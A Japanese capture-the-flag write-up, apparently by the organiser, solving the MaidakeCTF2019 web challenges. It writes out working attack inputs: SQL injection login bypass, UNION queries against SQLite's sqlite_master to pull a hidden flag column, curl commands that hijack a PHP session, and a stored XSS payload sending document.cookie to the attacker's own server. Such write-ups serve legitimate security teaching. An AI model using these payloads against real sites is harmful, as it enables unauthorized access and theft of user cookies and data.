MaidakeCTF2019 writeup Web編
Web問題のwriteupです。
- White flag[50]
- 2048[100]
- Baked goods[100]
- Not hiding[100]
- Usual[100]
- XSS Alert[150]
- Agent[200]
- No form[200]
- Hijack[300]
- Kancolle Engine[400]
- Maze[500]
- Haiku contest[500]
- Web問まとめ
White flag[50]
URLにアクセスすると真っ白なページが表示されます。
ソースとか見てもFlagは分かりますが、白背景に白文字になっているだけなので反転すればOKです。
Flag:MaidakeCTF{White_strings_can_be_seen_by_reversing}
2048[100]
2048をプレイできます。
ゲームオーバーするとFlagがもらえます。
しかし、実際にプレイしてFlagを得るのは知識が無い人がやることです。
大抵こういうものはJavascriptで動いているので、まずはソースを確認します。
ゲームオーバーの処理をする部分にFlagが書いてあります。
Flag:MaidakeCTF{Do_not_be_fooled_by_the_look}
Baked goods[100]
無駄にクッキーが並んでいるウザいページです。
クッキー...cookieということで、cookieを確認します。
Flag:MaidakeCTF{Beware_of_cookie_theft}
Not hiding[100]
ちゃんとFlagはあるよ、ということでまずはソースを確認します。
ソースを確認してみると、ぱっと見はとくにFlagは見当たりません。
そんなときはリンク先に飛んでみましょう。大体CSSやJSが怪しいですね。今回はstyle.cssがあるのでこちらに飛んでみます。
CSSなんて嘘でした。
Flag:MaidakeCTF{I_am_getting_tired_of_thinking_about_flags}
Usual[100]
いつものやつです。
いかにもSQLインジェクションができそうなフォームがあるので、それっぽく入力してみます。
IDとパスワードの両方に「1' or 1 = 1 -- 」を入力します。
無事に通ってFlagが表示されます。
ログイン後のページとかは用意するのが面倒くさかったのでこうなりました。
Flag:MaidakeCTF{Speaking_of_SQL_injection_is_this}
XSS Alert[150]
XSSの問題を作りたくて半ば無理矢理作った問題です。
入力した内容がボタンの下の攻撃内容のところにそのまま表示してしまうものです。エスケープなんてしてません。
テキトーにアラートを出すスクリプトを入力します。
まずは普通に入力したスクリプトが動きます。
OKボタンを押すとアラートでFlagが表示されました。
Flag:MaidakeCTF{Escape_is_a_simple_but_important_process}
Agent[200]
ユーザーエージェントで認証(?)しているページです。
ご丁寧にPHPが書いてあるので確認すると、ユーザーエージェントが「Milvas」かどうかを見ているだけのようです。
開発者モードなどでユーザーエージェントをMilvasに変えます。
ChromeならF12→More tools→Network conditions で設定できます。
User agentの「select automatically」のチェックを外して、Customのまま「Milvas」と入力。
Flagが表示されました。
Flag:MaidakeCTF{Impersonating_user_agents_is_so_easy}
No form[200]
Agentのときと同様PHPが書いてあります。
POSTで「oluri」に「so_cute」が入っているとFlagがもらえます。
curlで一発です。
curl -k -X POST -d 'oluri=so_cute' https://maidakectf2019.aokakes.work/problems/No_form/
Flagが表示されました。
Flag:MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}
Hijack[300]
とりあえずアクセスしてみると弾かれてしまいます。
ソースを見てみてもとくに怪しい部分は見当たりません。...本当にそうでしょうか。
よく見てみると一番上の行に何かコメントアウトしてあります。
ここで思い出していただきたいのがこの問題のタイトルです。
そう、「Hijack」です。ハイジャック。
セッションハイジャック!!
ということで、この文字列はセッションIDになっています。
あとはcurlなどでセッションIDをこの値にしてアクセスするだけです。
curl -k --cookie "PHPSESSID=8b24jmfhfhssgig2q9n7ockjl7" https://maidakectf2019.aokakes.work/problems/Hijack/
セッションハイジャックが成功しました。
Flag:MaidakeCTF{Session_management_must_be_done_with_care}
Kancolle Engine[400]
一番作るのに時間がかかったかもしれない問題です。
まずは例にある通り榛名と入力して検索してみます。
榛名と榛名改と榛名改二が表示されています。
改と改二も出てきているのでLIKE句を利用していることが分かりますね。
まずはいつものやつをやってみましょう。
1' or 1 = 1 --
いっぱい出てきました。
なんとこれ、自分で1つ1つ入力したんですよ。Excelで。いやぁ~、時間かかりましたねぇ~。
さて、これでSQLインジェクションできることが分かりました。
次の段階です。
どうせinformation_schema.tablesでテーブル確認すればいいんでしょ?と思われた方、いるんじゃないですか?
甘いですね~。
まぁ、一応やっておきましょう。
ちゃんと列数も揃えて以下の通り入力します。
a' UNION SELECT table_name,0,0,0,0 FROM information_schema.tables --
検索結果に何も表示されていません。
よく見るとページの一番下にあるはずのコピーライトも消えています。つまり、途中でPHPがエラーを吐いてHTMLの生成が止まってしまっています。
なぜ動かないのか。それはSQLite3を使っているからです。
なんとSQLite3ではinformation_schemaが使えません。
なのでSQlite3でテーブルを調べるには何を使わないといけないのか調べないといけません。ggりましょう。
ggってみると、sqlite_masterを使えばよいということが分かります。
ということで再度sqlite_masterを使って入力してみます。
a' UNION SELECT name,0,0,0,0 FROM sqlite_master WHERE type='table' ORDER BY name --
しかし結果は同じで何も表示されません。
ではなぜ動かないのか。
UNIONで動かないときは大体列数が一致していないからです。
見た目に惑わされてはいけません。
表示された結果は5列ですが、ほかにも取ってきているデータがあるかもしれません。
こんなときはソースを確認してみましょう。
なんということでしょう!ご丁寧にテーブルの構成を残してくれています!
まぁこれだけだと実際に取ってきているデータが何列なのかは分からないのですが、それでも6~11なのは確定しているので総当たりするだけです。
とりあえず全部取ってきていると仮定して11列に調整してUNIONしてみます。
1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, name FROM sqlite_master WHERE type='table' ORDER BY name --
ついにテーブルが判明しました。flagです。
これで喜んで↓のやつやっちゃった人、いるんじゃないですか~?
1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, flag FROM flag --
残念、何も表示されません。というのもカラム名がflagではないからです。
さすがにそのままFlag取れちゃうとつまらないですから。
ちゃんとカラム名も調べましょう。
MySQLとかだとカラム名を調べるのは簡単ですが、SQLiteだとちょっと面倒になります。
ggってみると「PRAGMA table_info( テーブル名 )」なんていうのが見つかったと思います。
しかし、これはUNIONでくっつけたりしようとすると動きません。
そこで方針を少し変えます。
テーブルの一覧を表示するときに使ったsqlite_masterではテーブルを作成したときのSQL文も調べることができます。
nameをsqlに変えるだけです。
1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, sql FROM sqlite_master WHERE type='table' ORDER BY name --
カラム名は「this_is_flag」です。
あとはやるだけです。
1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, this_is_flag FROM flag --
ついにFlagが表示されました。
Flag:MaidakeCTF{Use_question_mark_placeholders_when_calling_SQL}
Maze[500]
迷路をプレイできるページです。
青がスタート地点で緑がゴールになっていますが、このままではどう頑張ってもゴールにたどり着けません。
つまりゴールにたどり着くための道を作らないといけません。
URLをよくみると、maze.csvというパラメータがついています。
試しにhoge.csvに変えてみるとファイルが存在しないと怒られます。
ソースも確認します。
function makeMaze() { csv = getParam('maze'); var req = new XMLHttpRequest(); req.open("get", csv, true); req.send(null); req.onload = function(){ var maze = []; var tmp = req.responseText.split("\n"); if (tmp.length != 33) { document.getElementById("canvas").innerHTML = "<p class='mt-5'>File does not exist.</p>"; return; } for(var i=0;i<tmp.length;++i){ maze[i] = tmp[i].split(','); } draw(maze); start(); } }
makeMaze関数では、csvファイルを読み込むとまず迷路の幅が33かどうかを確認しています。
33以外のときに「File does not exist.」と表示するようになっています。
その後csvファイルを良い感じに調理して整形して迷路を描画しています。
goal関数も確認します。
function goal() { sg(); if (x == 32 && y == 29) { $.post('result.php').done(function(data) { alert(data); }); } }
sg関数はあんまり関係ありません。
x=32 かつ y=29 にたどりついたときにresult.phpに飛ばすようです。
ようは以下の条件を満たすcsvファイルを読み込ませればいいのです。
- 33*33
- x=32, y=29にたどり着ける
とりあえずmaze.csvをダウンロードして改造します。
maze.csvはこうなっています。
0が移動できるマス、1が壁、2がスタート地点、3がゴールです。
綺麗な解答を作るとするならこんな感じです。
あとはこれを読み込ませるだけです。
しかし、サーバーにファイルをアップロードすることはできません。
なので自前のサーバーに設置したりして、URLを読み込ませる必要があります。
そして意気揚々とURLを指定してページをリロードするとこうなります。
XMLHttpRequest を使っている場合、Chromeだと外部のURLからファイルを参照しようとするとエラーを吐きます。
Firefoxならいけました。
あとはゴールするだけです。
Flag:MaidakeCTF{If_you_implement_it_poorly_another_file_may_be_screwed_in}
別解として、デベロッパーツールなどで無理やり迷路を書き換えることもできます。
壁判定をcsvファイルを見て行っているわけではないので、簡単です。
詰めが甘かった...
Haiku contest[500]
ちゃんとしたXSSの問題を作ろうと思ってがんばったやつです。
最初はログインページに飛ばされますが登録ページへのリンクがあるので、まずはユーザー登録してログインします。
ログインするとこんな感じになっていて、俳句を登録することができます。
まぁ文字数で色々やっているわけではないので何でも登録できます。
何かしら入力して登録すると自分の俳句が表示されるようになります。
下にある採点ボタンを押すとサーバーが採点してくれます。なお、採点には最長で1分ほどかかるようです。
少し放置してページを更新してみると採点結果が表示されます。ちなみに100点以外はありません。
ここまで書いたらもう分かるかと思います。
適当にスクリプト書いて自分で用意したサーバーなりにアクセスさせてcookieを飛ばしましょう。
しかし少しコツが必要で、Flagを持っているサーバーはあくまでも採点ボタンを押さないと見に来てくれません。
なので表示された瞬間に用意したページに飛ばすようにしていると自分がボタンを押すことができません。
そこでlocation.hrefではなくwindo.openなどで簡単にボタンを押せるようにしておくと楽です。
例としてはこんな感じです。
<script>window.open('[自分のサーバー]?q=' + document.cookie)</script>
cookieにFlagが入っていました。
Flag:MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}
Web問まとめ
Web問題はいかがだったでしょうか。
有名な攻撃手法は大体おさえられていたかなと思います。
本当はディレクトリトラバーサルとかの問題も作りたかったのですが、気づいたら開催直前で諦めました。
個人的にKancolle Engineとか結構お気に入りです。
時間できたときに自分用に使えるように整備しようかな...
Web問題はどの問題も方針が明確なので解きやすかったのではないでしょうか。
楽しんでいただけたのであれば幸いです。